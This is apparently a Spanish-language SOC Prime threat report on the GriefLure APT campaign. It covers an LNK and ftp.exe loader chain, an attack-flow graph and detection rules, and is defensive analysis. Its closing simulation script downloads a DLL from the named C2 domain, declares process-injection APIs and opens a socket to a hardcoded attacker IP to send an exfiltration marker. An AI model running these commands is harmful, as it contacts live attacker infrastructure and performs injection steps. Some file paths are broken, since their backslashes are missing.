SOC Prime Bias: Crítico

08 May 2026 18:40

Operación GriefLure: Diseccionando una Campaña APT que Apunta a las Telecomunicaciones Militares de Vietnam y al Sector de Salud de Filipinas

Author Photo
SOC Prime Team linkedin icon Seguir
Operación GriefLure: Diseccionando una Campaña APT que Apunta a las Telecomunicaciones Militares de Vietnam y al Sector de Salud de Filipinas
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Seqrite Labs identificó una campaña de spear-phishing dirigida que se basó en archivos maliciosos LNK de Windows ocultos dentro de archivos RAR doblemente comprimidos. Al abrirse, el LNK lanzó un ftp.exe cargador nativo que reconstruyó una carga útil polimórfica llamada sfsvc.exe a partir de fragmentos .doc almacenados en la máquina de la víctima. La actividad estaba dirigida a altos ejecutivos dentro del sector de telecomunicaciones propiedad del ejército en Vietnam y al personal de un hospital privado en Filipinas, utilizando documentos con apariencia legítima como cebo. La cadena completa de infección se completó en menos de diez segundos y dejó solo artefactos mínimos en el disco.

Investigación

La investigación desglosó la estructura del archivo, mapeó la ruta de ejecución del LNK y realizó ingeniería inversa del sfsvc.exe cargador personalizado, que fue diseñado para parecerse a regsvr32.exe. Los analistas documentaron la carga lateral de DLL, la ejecución de shellcode en memoria, la inyección de procesos y las comunicaciones de comando y control a través de un dominio disfrazado. La revisión de artefactos también descubrió un dominio C2 codificado, www.whatsappcenter.com, alojado a través de un proveedor blindado en Hong Kong.

Mitigación

Los defensores deberían bloquear la ejecución de archivos LNK entregados a través de adjuntos de correo electrónico y monitorear el uso de ftp.exe con argumentos de línea de comandos sospechosos. La detección en el endpoint debería centrarse en la carga de DLL sin archivo, escrituras de flujo de datos alternativos en C:UsersPublicUpdate, y la rápida creación de sfsvc.exe. Las organizaciones también deberían fortalecer las verificaciones de procedencia de los documentos y educar a los usuarios sobre cebos que parecen ser archivos legales legítimos o relacionados con denunciantes.

Respuesta

Si se detecta el LNK malicioso o el sfsvc.exe proceso, aísle inmediatamente el endpoint afectado, recoja la memoria volátil, y busque 360.*.dll archivos de cargador y artefactos de flujo de datos alternativos. Debería bloquearse el dominio de comando y control identificado y la dirección IP relacionada, y debería comenzar la respuesta al incidente para determinar si se exfiltró algún dato. También se debería llevar a cabo una búsqueda más amplia para detectar actividad similar de los cargadores impulsados por LNK en todo el entorno. ftp.exe loader activity across the environment.

graph TB %% Definiciones de clases classDef action fill:#c2e0ff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#d0ffd0 classDef malware fill:#ff9999 classDef c2 fill:#ffb3e6 %% Nodos – Flujo de ataque attack_initial_access[«<b>Acción</b> – <b>T1566.001 Phishing con archivo adjunto</b><br/>La víctima recibe un archivo RAR doblemente comprimido con un archivo LNK malicioso»] class attack_initial_access action artifact_rar[«<b>Archivo</b> – Archivo RAR<br/>Contiene un documento legal aparentemente legítimo y un LNK malicioso»] class artifact_rar file artifact_lnk[«<b>Archivo</b> – LNK malicioso<br/>Extensión doble (ej. document.lnk.rar) para evadir la detección»] class artifact_lnk file tool_ftp[«<b>Herramienta</b> – ftp.exe (Binario del sistema Windows)<br/>Usado como proxy para lanzar el script batch oculto»] class tool_ftp tool process_batch[«<b>Proceso</b> – Script Batch<br/>Ejecuta copy /b para reensamblar fragmentos del payload en sfsvc.exe y 360.dll»] class process_batch process file_sfsvc_exe[«<b>Archivo</b> – sfsvc.exe<br/>Ejecutable final del payload creado a partir de fragmentos del documento»] class file_sfsvc_exe file file_360dll[«<b>Archivo</b> – 360.dll<br/>DLL polimórfica usada para side-loading y entrega de shellcode»] class file_360dll file action_modify_path[«<b>Acción</b> – <b>T1574.007 Modificar Variables de Entorno (PATH)</b><br/>Añade C:\\Users\\Public\\Update al PATH para persistencia»] class action_modify_path action action_dll_side_load[«<b>Acción</b> – <b>T1574.002 DLL Side-Loading</b> & <b>T1546.009 Ejecución de AppCert DLL</b><br/>sfsvc.exe carga 360.dll mediante /calldll y DllRegisterServer»] class action_dll_side_load action process_explorer[«<b>Proceso</b> – explorer.exe<br/>Proceso objetivo para la inyección de DLL»] class process_explorer process action_process_injection[«<b>Acción</b> – <b>T1055.001 Inyección de DLL</b><br/>360.dll inyecta shellcode de segunda etapa en explorer.exe»] class action_process_injection action action_discovery[«<b>Acción</b> – <b>T1057 Descubrimiento de procesos</b> & <b>T1518.001 Descubrimiento de software de seguridad</b><br/>Enumera procesos en ejecución y productos de seguridad instalados»] class action_discovery action action_cred_access[«<b>Acción</b> – <b>T1555.003 Credenciales de navegadores web</b> & <b>T1552.001 Credenciales en archivos</b><br/>Robo de contraseñas guardadas, cookies y archivos de configuración»] class action_cred_access action action_collection[«<b>Acción</b> – <b>T1113 Captura de pantalla</b> & <b>T1083 Descubrimiento de archivos y directorios</b><br/>Recopila capturas de pantalla y listados de directorios para exfiltración»] class action_collection action action_exfiltration[«<b>Acción</b> – <b>T1071.001 HTTPS</b> & <b>T1573 Canal ofuscado/cifrado</b><br/>Datos enviados al servidor C2 mediante HTTPS codificado en XOR»] class action_exfiltration action c2_server[«<b>Servidor C2</b> – www.whatsappcenter.com<br/>Recibe los datos exfiltrados»] class c2_server c2 %% Conexiones attack_initial_access –>|entrega| artifact_rar artifact_rar –>|contiene| artifact_lnk artifact_lnk –>|invoca| tool_ftp tool_ftp –>|ejecuta| process_batch process_batch –>|crea| file_sfsvc_exe process_batch –>|crea| file_360dll file_sfsvc_exe –>|activa| action_modify_path action_modify_path –>|habilita| action_dll_side_load file_360dll –>|cargado por| action_dll_side_load action_dll_side_load –>|inyecta en| process_explorer process_explorer –>|sujeto a| action_process_injection action_process_injection –>|habilita| action_discovery action_discovery –>|alimenta| action_cred_access action_cred_access –>|proporciona datos a| action_collection action_collection –>|conduce a| action_exfiltration action_exfiltration –>|envía datos a| c2_server

Flujo de Ataque

Detecciones

Archivo LNK potencialmente malicioso con extensión doble (vía línea de comandos)

Equipo SOC Prime
07 de mayo de 2026

Posible ejecución de script de FTP con extensiones poco comunes (vía línea de comandos)

Equipo SOC Prime
07 de mayo de 2026

Ejecución sospechosa desde el perfil de usuario público (vía creación de procesos)

Equipo SOC Prime
07 de mayo de 2026

Software alternativo de acceso remoto / gestión (vía creación de procesos)

Equipo SOC Prime
07 de mayo de 2026

Archivos sospechosos en el perfil de usuario público (vía evento de archivo)

Equipo SOC Prime
07 de mayo de 2026

IOCs (HashSha256) para detectar: Operation GriefLure: Disectando una Campaña APT Dirigida a las Telecomunicaciones Militares de Vietnam y la Atención Sanitaria de Filipinas

Reglas de IA de SOC Prime
07 de mayo de 2026

IOCs (SourceIP) para detectar: Operation GriefLure: Disectando una Campaña APT Dirigida a las Telecomunicaciones Militares de Vietnam y la Atención Sanitaria de Filipinas

Reglas de IA de SOC Prime
07 de mayo de 2026

IOCs (DestinationIP) para detectar: Operation GriefLure: Disectando una Campaña APT Dirigida a las Telecomunicaciones Militares de Vietnam y la Atención Sanitaria de Filipinas

Reglas de IA de SOC Prime
07 de mayo de 2026

Detección de Comunicaciones C2 de Operation GriefLure [Conexión de Red de Windows]

Reglas de IA de SOC Prime
07 de mayo de 2026

Detección de Actividad de Operation GriefLure Usando ftp.exe y sfsvc.exe [Creación de Procesos de Windows]

Reglas de IA de SOC Prime
07 de mayo de 2026

Ejecución de Simulación

Prerrequisito: La Telemetría y Verificación Previa de Línea de Base deben haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección. Los ejemplos abstractos o no relacionados conducirán a un diagnóstico incorrecto.

  • Narrativa del Ataque y Comandos:
    El atacante, habiendo ganado acceso inicial mediante un archivo adjunto de phishing (T1566.001, T1204.002), elige un enfoque de vivir de la tierra para evitar cargas ejecutables. Usando el cmd.exe (T1059.003) integrado, lanzan un comando de PowerShell de una sola línea que realiza los siguientes pasos:

    1. Descubrimiento – enumerar información del sistema (T1082) y procesos en ejecución (T1057) para decidir sobre un objetivo adecuado para inyección.
    2. Recolección de Credenciales – leer almacenes de navegadores (T1555.003) y volcar archivos de credenciales (T1552.001) a una carpeta de preparación.
    3. Recuperación de Carga Útil – descargar una DLL maliciosa desde el dominio C2 www.whatsappcenter.com sobre HTTPS (T1071.001, T1041).
    4. Inyección de Procesos – inyectar la DLL en explorer.exe (T1055.001) para ganar persistencia y elevar privilegios.
    5. Comunicación C2 – abrir una conexión TCP persistente a 38.54.122.188 (la IP codificada) y comenzar a exfilar los datos recolectados.

    El paso crítico que satisface la regla Sigma es el intento de conexión de salida al dominio/IP exacto, que será registrado por Sysmon y el firewall de Windows.

  • Script de Prueba de Regresión:

    # -------------------------------------------------
    # Simulación GriefLure C2 – versión PowerShell
    # -------------------------------------------------
    # 1. Descubrimiento del sistema (T1082, T1057)
    Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null
    Get-Process | Select-Object -First 5 | Out-Null
    
    # 2. Simular recolección de credenciales (T1555.003, T1552.001)
    $credStaging = "$env:TEMPcreds.txt"
    "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging
    
    # 3. Descargar DLL maliciosa desde el dominio C2 codificado (T1071.001, T1041)
    $c2Domain = "www.whatsappcenter.com"
    $c2Url = "https://$c2Domain/payload.dll"
    $dllPath = "$env:TEMPpayload.dll"
    Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing
    
    # 4. Inyectar DLL en explorer.exe (T1055.001)
    $target = (Get-Process -Name explorer).Id
    $inject = @"
    using System;
    using System.Runtime.InteropServices;
    public class Injector {
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
    "@
    Add-Type $inject
    # (Los pasos de inyección reales se omiten por brevedad; en una prueba real llamarías a las APIs anteriores.)
    
    # 5. Abrir socket C2 persistente a la IP codificada (T1041)
    $c2Ip = "38.54.122.188"
    $port = 443
    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect($c2Ip, $port)
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START")
    $stream.Write($payload,0,$payload.Length)
    Start-Sleep -Seconds 5
    $stream.Close()
    $client.Close()
  • Comandos de Limpieza:

    # Eliminar archivos preparados
    Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue
    
    # Cerrar cualquier conexión TCP persistente (si aún está abierta)
    Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # Opcionalmente resetear el buffer de Sysmon (para un estado limpio en pruebas repetidas)
    & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml